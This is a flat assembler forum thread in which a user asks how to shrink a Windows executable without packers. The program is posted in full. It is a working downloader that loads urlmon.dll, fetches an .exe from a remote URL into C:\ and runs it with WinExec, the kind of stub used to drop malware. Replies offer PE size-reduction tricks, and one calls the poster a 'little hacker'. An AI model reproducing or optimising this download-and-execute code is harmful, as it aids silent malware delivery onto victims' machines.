flat assembler
Message board for the users of flat assembler.
![]() |
Author |
|
johndoe
does anyone have tips or tricks to decrease the size of the end result of the .exe in windows
by that i DONT mean packers |
|||
![]() |
|
mike.dld
Use Assembler instead of HLL
![]() |
|||
![]() |
|
johndoe
this is the code im trying to make smaller
1024bytes i think any ideas for making this SMALLER thanks format PE gui 4.0 include 'C:\fasm\include\win32a.inc' ; load library push szurlmon call [LoadLibrary] mov ebx, eax ; load function push szURLDownloadToFileA push ebx call [GetProcAddress] mov ebx, eax ; call downloading push 0 push 0 push szFilename push szURL push 0 call ebx ; exec file push 0 push szFilename call [WinExec] ; exit process push 0 call [ExitProcess] ; needed stuff .. szurlmon db 'urlmon.dll',0 szURLDownloadToFileA db 'URLDownloadToFileA',0 szURL db 'http://host.com/bla.exe', 0 szFilename db 'c:\bla.exe', 0 data import library kernel32, 'KERNEL32.DLL' include 'C:\fasm\include\APIA\KERNEL32.INC' end data |
|||
![]() |
|
decard
You can't simply make PE file smaller than 1024 bytes. You can build such file manually. Search win32asmcommunity board, there was a topic about it.
|
|||
![]() |
|
johndoe
what if i importer urtodownloadfilea
|
|||
![]() |
|
El Tangas
Some recomend removing the dos stub to save space. But you can create a dos stub containing some of the data for your program, for example some strings (there is not much room in the stub, without increasing the size).
But since you already have 1024 bytes, you have to reduce manually, as decard said. |
|||
![]() |
|
Vasilev Vjacheslav
you can use own dos-stub, also you can trim last section
Code: format pe gui 4.0 on "dos.dat" |
|||
![]() |
|
johndoe
i have no idea how to do this
![]() ![]() ![]() ![]() |
|||
![]() |
|
Nikolay Petrov
it's possible with 16 bits NE executable. I send a exe file because a fasmw not support a dead formats.
See a sample:
|
|||||||||||
![]() |
|
rambo
you can`t make it smaller, even without dos-stub. first section have to start at 0x200, so even, if you`ll remove dos-stub, you`ll have to fill space after header (in fact in header) with padding.
you can change file align, and then you`ll be able to remove padding at the end of file. and that`s all. you can`t do more. use packers, if you want to get it smaller. i wrote one, extreemly good for this file (667 bytes packed), so put me message, and i can provide it to you, little hacker ; )) |
|||
![]() |
|
polygon7
_________________ best regards p7 |
|||
![]() |
|
< Last Thread | Next Thread > |
Forum Rules:
|
Copyright © 1999-2020, Tomasz Grysztar. Also on GitHub, YouTube, Twitter.
Website powered by rwasa.